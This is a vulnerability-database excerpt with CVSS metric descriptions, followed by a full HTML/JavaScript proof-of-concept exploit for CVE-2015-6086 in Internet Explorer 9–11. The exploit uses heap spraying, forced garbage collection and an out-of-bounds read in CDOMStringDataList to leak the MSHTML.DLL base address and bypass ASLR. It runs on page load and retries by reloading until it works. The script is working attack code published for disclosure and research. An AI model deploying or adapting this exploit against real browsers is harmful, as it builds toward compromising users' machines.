The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Internet Explorer 9, 10, 11 - CDOMStringDataList::InitFromString Out-of-Bounds Read<!--
CVE-2015-6086
Out Of Bound Read Vulnerability
Address Space Layout Randomization (ASLR) Bypass
Improper handling of new line and white space character caused
Out of Bound Read in CDOMStringDataList::InitFromString. This
flaw can be used to leak the base address of MSHTML.DLL and
effectively bypass Address Space Layout Randomization.
Affected Version:
Internet Explorer 9
Internet Explorer 10
Internet Explorer 11
Test Bed:
IE: 10 & 11
KB: KB3087038
OS: Windows 7 SP1 x86
Advisory:
http://www.payatu.com/advisory-ie_cdomstringdatalist/
https://technet.microsoft.com/library/security/MS15-112
http://www.zerodayinitiative.com/advisories/ZDI-15-547/
Copyright 2016 Payatu Technologies Pvt. Ltd.
Author: Ashfaq Ansari
Email: ashfaq[at]payatu[dot]com
Websites: www.payatu.com
www.nullcon.net
www.hardwear.io
www.null.co.in
This program is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation, either version 3 of the License, or (at your
option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
this program. If not, see <http://www.gnu.org/licenses/>.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
-->
<!DOCTYPE html>
<html>
<head>
<title>IE 10-11 Windows 7 SP1 x86 - OOB Read ALSR Bypass PoC</title>
<meta http-equiv="pragma" content="no-cache"/>
<meta http-equiv="expires" content="0"/>
<script type="text/javascript">
/**
* This function is used to create string of desired size.
*
* @param character
* @param size
* @returns {string}
*/
function createString(character, size) {
while (character.length < size) {
character += character;
}
// BSTR structure
// header | unicode string | NULL terminator
// 4 bytes | sizeof(string) * 2 | 2 bytes
return character.substr(0, (size - 6) / 2);
}
/**
* This function is used to get the Internet Explorer's version.
*
* @link http://stackoverflow.com/questions/19999388/jquery-check-if-user-is-using-ie
* @returns {int | null}
*/
function getInternetExplorerVersion() {
var userAgent = window.navigator.userAgent;
var msie = userAgent.indexOf('MSIE');
if (msie > 0) {
return parseInt(userAgent.substring(msie + 5, userAgent.indexOf('.', msie)), 10);
}
var trident = userAgent.indexOf('Trident/');
if (trident > 0) {
var rv = userAgent.indexOf('rv:');
return parseInt(userAgent.substring(rv + 3, userAgent.indexOf('.', rv)), 10);
}
var edge = userAgent.indexOf('Edge/');
if (edge > 0) {
return parseInt(userAgent.substring(edge + 5, userAgent.indexOf('.', edge)), 10);
}
return null;
}
/**
* This function is used to leak the base address of MSHTML.DLL.
*
* @param offsetOfMSHTMLBaseAddress
*/
function LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress) {
// Step 1: Let's do some clean up
CollectGarbage();
var eventArray = new Array();
var polyLineArray = new Array();
var exploitSuccessful = false;
// Step 2: As the target object is stored in Process Heap
// instead of Isolated Heap, we can use any element that
// is stored on Process Heap to spray the Heap.
//
// To create a predictable pattern on Heap, we spray using
// "MsGestureEvent" and it's size is 0x0A0. We will use
// this object to read the VFTable pointer.
for (var i = 0; i < 0x1000; i++) {
eventArray[i] = document.createEvent('MsGestureEvent');
}
// Step 3: Now we need to create a hole in the allocation
// that we made earlier. The purpose of this hole is to
// allocate the vulnerable buffer just before the Heap
// chunk of "MsGestureEvent"
for (i = 1; i < 0x500; i += 2) {
eventArray[i] = null;
}
// Step 4: As Memory Protector is enabled by default on all
// versions of IE, it will not allow the free of objects
// instantly. So, we need to force free the memory due to
// Delayed Frees.
CollectGarbage2();
// Step 5: Now, fill the hole that we created earlier. The
// "requiredFeatures" property is allocated on OLEAUT32 Cache
// Heap, old Plunger technique does not seems to work for me.
// I have used a neat trick to bypass OLEAUT32 Cache Heap.
for (i = 0; i < 0x250; i++) {
polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
// Step 6: Trick to bypass allocation on OLEAUT32 Cached Heap
polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));
// Step 7: Now, "requiredFeatures" property won't be allocated on OLEAUT32 Cache Heap.
polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));
// Step 8: As the whole exploitation depends on certain Heap
// layout, thus, this is unreliable. But to overcome this
// un-reliability, I'm reloading the page until, right Heap
// Layout is achieved.
//
// This PoC is created for the vendor to acknowledge this bug,
// hence reliability is not my concern at this moment. We can
// make it more reliable, but let's leave it for later stage.
//
// Some heuristics to detect if Heap is in the right state.
// Once we have determined the Heap state, we can apply some
// more heuristics.
if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
// Step 9: Read the Out of Bound memory
var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));
// Step 10: Some more heuristics
var spitValue = OOBReadMemory.split('%');
var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));
var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;
// Step 11: Show the message to user
var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
message += '\n';
message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
alert(message);
// Step 12: Exploit successful
exploitSuccessful = true;
break;
}
}
// Step 13: As stated earlier, this is a bit unreliable.
// If the exploit has failed, reload the current page.
// If reloading does not help, close the browser and
// launch the exploit multiple times.
if (!exploitSuccessful) {
window.location.reload();
}
}
/**
* This function is used fill the wait list of the freed objects
* and trigger Garbage Collection.
*/
function CollectGarbage2() {
// Microsoft implemented Memory Protector to mitigate
// Use after Free vulnerabilities. The object protected
// by Memory Protector won't be freed directly. Instead,
// it will be put into a wait list which will be freed
// when it reaches certain threshold (i.e 100,000 bytes).
var video = new Array();
// Now allocate video element (400 bytes) 250 times
//
// Note: We are not using stack to store the references.
// If we use stack to store the references, the memory
// will never be freed during Mark and Reclaim operation
for (var i = 0; i < 250; i++) {
video[i] = document.createElement('video');
}
// Now free the elements. It will be put into the wait list.
video = null;
// Reclaim the memory by triggering Garbage Collection
CollectGarbage();
}
/**
* This function is used to launch the exploitation by leaking
* the base address of MSHTML.DLL.
*/
function LaunchExploit() {
var browserSupported = false;
var ieVersion = getInternetExplorerVersion();
var offsetOfMSHTMLBaseAddress = null;
if (ieVersion == 11) {
// If you are getting a wrong base address, please update this value
// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
offsetOfMSHTMLBaseAddress = 0x0002ebe8;
browserSupported = true;
} else if (ieVersion == 10) {
// If you are getting a wrong base address, please update this value
// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
offsetOfMSHTMLBaseAddress = 0x0000d270;
browserSupported = true;
} else {
alert('Current browser is not supported!\nExploit Tested on IE10 & 11 (Windows 7 SP1 x86)');
}
// Launch the exploit
if (browserSupported) {
LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress);
}
}
</script>
</head>
<body onload='LaunchExploit();'>
</body>
</html>
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